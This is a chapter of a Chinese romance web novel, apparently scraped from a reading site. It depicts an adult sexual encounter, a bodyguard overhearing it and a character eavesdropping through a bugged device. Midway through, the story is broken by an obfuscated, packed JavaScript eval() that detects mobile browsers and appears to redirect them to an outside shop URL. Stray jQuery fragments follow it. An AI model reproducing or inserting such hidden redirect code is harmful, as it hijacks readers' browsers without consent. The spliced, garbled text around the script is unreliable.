40. 释放

作品:《驯服心机男x5

    面料轻薄柔软,勾勒出他指节的轮廓,坚硬的指节戳着布料,几乎要捅破它。


    而与此同时,一门之隔,黎默站在休息室门口,如同一座雕塑。


    “好巧啊这位保镖,”江天雅踩着高跟鞋路过,“怎么站在这?左溪月在里面?”


    黎默看她一眼,转回头,当她不存在。


    江天雅撇撇嘴:“左溪月能容忍你这个样子吗?”


    黎默面无表情:“我的工作是保镖,我只需要时刻保证她的安全,这是我的职责。”


    “也是,”江天雅笑,“拿钱办事嘛。”


    她瞄一眼紧闭的门,又看一眼黎默,眸中流露几分笑意:“慢等,也不知道左溪月什么时候出来呢。”


    江天雅昂首挺胸离开了,等她走后,黎默才终于有了反应。


    他目光投向那扇门,眼神平静。


    他好像没有告诉过左溪月,保镖公司宁愿替他还债也要把他留在公司的原因,是他身体素质极好。


    比如,听力特别好。


    黎默忍无可忍,后退两步,离那扇门远了一点点。


    休息室内。


    商之绪不太安静,但左溪月知道他有在努力克制声音了。因为他的唇瓣被他自己咬的泛白,却在左溪月看向他的时候,装作若无其事地松开牙齿。


    每到这时候,就有藏不住的声音溢出喉咙,他的嗓音沙哑,平日里吐词优雅的嘴,现在只剩隐约喘-息。


    “你平常也这样吗?”左溪月悠闲躺着,一边看一边问他。


    商之绪眉心紧蹙,眼睛闭上:“什么意思?”


    “就……”她提膝轻点,“这样。”


    她的膝盖恰好撞到他,商之绪闷哼一声,停下:“……不。”


    “我很少做这种事。”


    他的确很少做这种事,对他来说,这样的娱乐低级而庸俗,任何一个男人,只要他长了,就能做这样的事来取乐。


    可他不是,他甚至鄙夷,哪怕身体告诉他,他正在快乐。


    他能看出左溪月眼里的兴趣,他有些高兴,她与他想的一样俗。


    但转念他又有点生气,气她真的是这种俗人,气自己竟然在这样的地方、在她眼前抚-慰自己。


    他应该高兴,商之绪告诉自己,他应该高兴,他并没有看走眼,他有一个俗气的未婚妻,他有权俯视她。


    商之绪睁开眼,被欲望搅乱的眸色恢复清澈,他启唇,用带着喘息的声音询问她:“你呢?你很喜欢这种事情吗?”


    左溪月摇了摇头:“怎么衣服一脱就忘记自己是绅士了?不要窥探我的隐私,你的问题太冒昧了。”


    商之绪气笑,却皱着眉无暇顾及她,他单手撑在左溪月脑袋旁边,劲瘦的腰微弯。


    “停。”


    布料摩擦声越来越快,左溪月却冷不丁出声。


    商之绪下意识停手,面色痛苦挣扎:“你想怎样?”


    “时间差不多了,”左溪月笑着从沙发上起来,“不跟你闹了,我要回家了。”


    她低头看一眼他的,笑:“你自己玩吧。”


    “左溪月!”


    商之绪微红的脸彻底涨红,他扣住左溪月的腰,把人重新摁回沙发:“你耍我?”


    左溪月腰被什么硌得难受,她扭动几下,和商之绪面对面,手指刻意屈起,用指节刮了刮他:“你才发现啊。”


    她也没想到他这么配合啊。


    “哈。”


    商之绪冷笑,双臂死死箍住她,他单手撑住左溪月的后脑勺,让她抬起头,然后用力吻下去。


    左溪月挣不开,便下意识偏头,商之绪的唇最终落在她的脖颈。他人是硬的,脸是冷的,唇却格外软。


    “嘶……”左溪月一巴掌拍在他胸口,“你敢咬我?”


    商之绪松开湿漉漉的唇,用大拇指擦拭她脖间一小片湿润,左溪月看不见,他却看得清楚,那里有他留下的红痕,还有一点牙印。


    “你不该用这种事耍我。”欲望强行中止,商之绪的理智反而回归,他语气平淡,冷静得像在谈判。


    但左溪月感受着灼热的存在,半点都不害怕,她甚至有心思故意用手刺激他,看他冷静的神色再次崩盘。


    “装货,”她口下不留情,“不就是想释放吗?”


    商之绪闷哼一声,捂住她的唇,闭上眼睛颤抖。


    左溪月松开手,他睁开眼,眸光迷蒙一瞬,又瞬间清醒:“你又耍我?”


    “听不懂,”左溪月很轻易就从他怀里撤开,“你快解决吧,我真要回家了。”


    商之绪翻了个不明显的白眼,左手抓住她的手腕不让她走,右手继续,整个人跪在沙发上,脊背弯出漂亮的弧度。


    良久,他长叹一声,松开了她的手腕。


    左溪月从侧面看商之绪趴在沙发靠背上,他的脸埋在臂弯里看不清,但急促的呼吸,起伏的腰背,狼狈的布料,还有空气中难以言喻的味道,都在暗示他的状态。


    她摸了一把商之绪流畅的后背:“真厉害,我相信你了。”


    左溪月低头看了一眼,她的衣服沾了一点汗迹,但摆在沙发另一头的商之绪的运动服还很干净,她干脆拉开拉链,动手脱衣服。


    商之绪从臂弯里抬起头,警惕地看了她一眼。


    左溪月翻了个白眼,露出里面的吊带,她捞起商之绪的外套穿上,外套有些沉,她没在意。


    “别多想,”左溪月穿上大了好几号的白色运动服,“我可不是随地乱搞的人。”


    商之绪头埋在臂弯,声音闷闷的:“你知不知道你这话很可笑。”


    “不知道。”


    左溪月对镜整理仪容:“我只知道有些人上衣没了,裤子也不能穿了,反正不是我。”


    商之绪不说话了,继续装鸵鸟。


    兜还是有些沉,左溪月顺手掏了掏口袋,从商之绪的衣服口袋里拿出了他今天戴的表,还有一瓶……


    “活血化瘀喷雾?”左溪月默念出瓶身上的字,然后下意识看向商之绪。


    从她的角度只能看见他茂密的黑发,和线条漂亮的肩颈。


    左溪月绕到沙发背,手指插-进商之绪的发根,逆着他的发型从后向前梳。


    商之绪没抬头,依旧装鸵鸟,只伸出一只手拨开她的手指。


    左溪月拎起那块表,放在他脸颊边,冰凉的表身激得他轻颤。


    “你又做什么?”他还是没抬头。


    左溪月漫不经心地命令:“来,张嘴。”


    商之绪没理她。


    左溪月也不生气,扯过他的手,强行把表给他戴上,又把那瓶活血化瘀的药立在他肩背。


    商之绪扭身想抓,她制止:“别动,放十分钟,会有奇迹发生。”


    左溪月扬唇偷笑,看他老老实实顶着药瓶的样子,哪里有半点平时的高傲。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952010|190982||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她不再停留,转身离开休息室,开门时还记得给他留面子,没有把门全打开,只开了一条缝,出门后又立即关上了门。


    左溪月走出休息室,一眼就看见了黎默。


    “怎么在这儿站着?”她朝不远处走廊拐角处的黎默走去,有点疑惑。


    黎默目光落在她的白色运动服上,又收回:“这里很好,安静。”


    左溪月四下望了望,确实安静。


    “走吧,回家。”她神清气爽。


    黎默视线将她从上扫到下,她步伐轻快,身姿稳健,神态也从容。


    他想到上次撞破她和那个侍从,她的未婚夫知道那个人的存在吗?


    “跟上。”左溪月在前面摆手。


    黎默走到她身侧,收回思绪。那些东西跟他都没有关系,他只要钱。


    商之绪从臂弯里看左溪月推门离开,又关上了房门,她的动作太快,他没看清那个保镖在不在门口。


    背上压着东西,商之绪没有贸然起身,他盯着表,过了好一会儿才反手拿下被左溪月放在背上的东西。


    是一瓶活血化瘀的喷雾。


    商之绪愣住,然后嗤笑一声,把药扔在沙发上,转身向卫生间走去。


    他收拾好自己,重新换上正装,对镜整理发型,拨弄了两下头发,忽然想起左溪月离开前也是这样做的,他们的动作几乎一致。


    商之绪盯着镜子,俊秀的脸上没有表情,耳根的红却还没消退。


    他转身欲离开,余光却看见沙发上的一件女士外套,它还很新,却被人随手扔在沙发上,弃如敝履。


    商之绪犹豫半天,还是捡起了这件外套,挂在臂弯带走。


    走进走廊,他忽然抬头看了看头顶的监控,若有所思。


    左家庄园,偏楼地下室。


    池远檀半关着房门,盘腿坐在漆黑的卧室里,他的房间只有一张大床,除此之外什么都没有,哪怕是一扇窗。


    整间卧室唯一的光源是他手里一台小小的手机,不是市面上常见的款式,像是私人改装过的。


    池远檀耳朵里塞着一只小小的耳机,刺白的屏幕光打在他脸上,他却没什么反应。


    他只戴了一只耳机,为的是能及时听见外面的动静。他不害怕,因为整间地下室都被他扔满了猫咪玩具,会发声的小毛球,带铃铛的逗猫棒,应有尽有,勤勤恳恳地守在地下室大厅。


    耳机里的声音逐渐消失了,男人压抑的喘-息,女人满不在乎的调笑,暧昧可疑的摩擦声,通通归于平静。


    他听见那男人像个老烈夫一样守贞,又在笃定他们会结婚后开始自我放纵,发出恶心的声音。


    池远檀对此没有任何感想,他面无表情,继续屏息听了好一会儿,直到耳机再无动静传来才放下。


    他想到耳机里早些时候传来的声音——池远真名正言顺?


    笑话。


    他摘下耳机,扔进床底,漆黑的眼珠在黑暗中闪着微光。


    手机上频频闪烁着备注为“母亲”的消息,池远檀看也没看,摁灭手机屏幕,把手机也塞进床下。


    池远檀盘坐在地,眨眼缓释被屏幕亮光刺激到的眼睛,然后低头看了看自己不知何时的挺起,抬手,在漆黑空荡的卧室里往下给了自己一巴掌。


    “叮叮——”


    地下室大厅传来铃铛响动,池远檀眨眨眼,眼神懵懂地爬向卧室门口。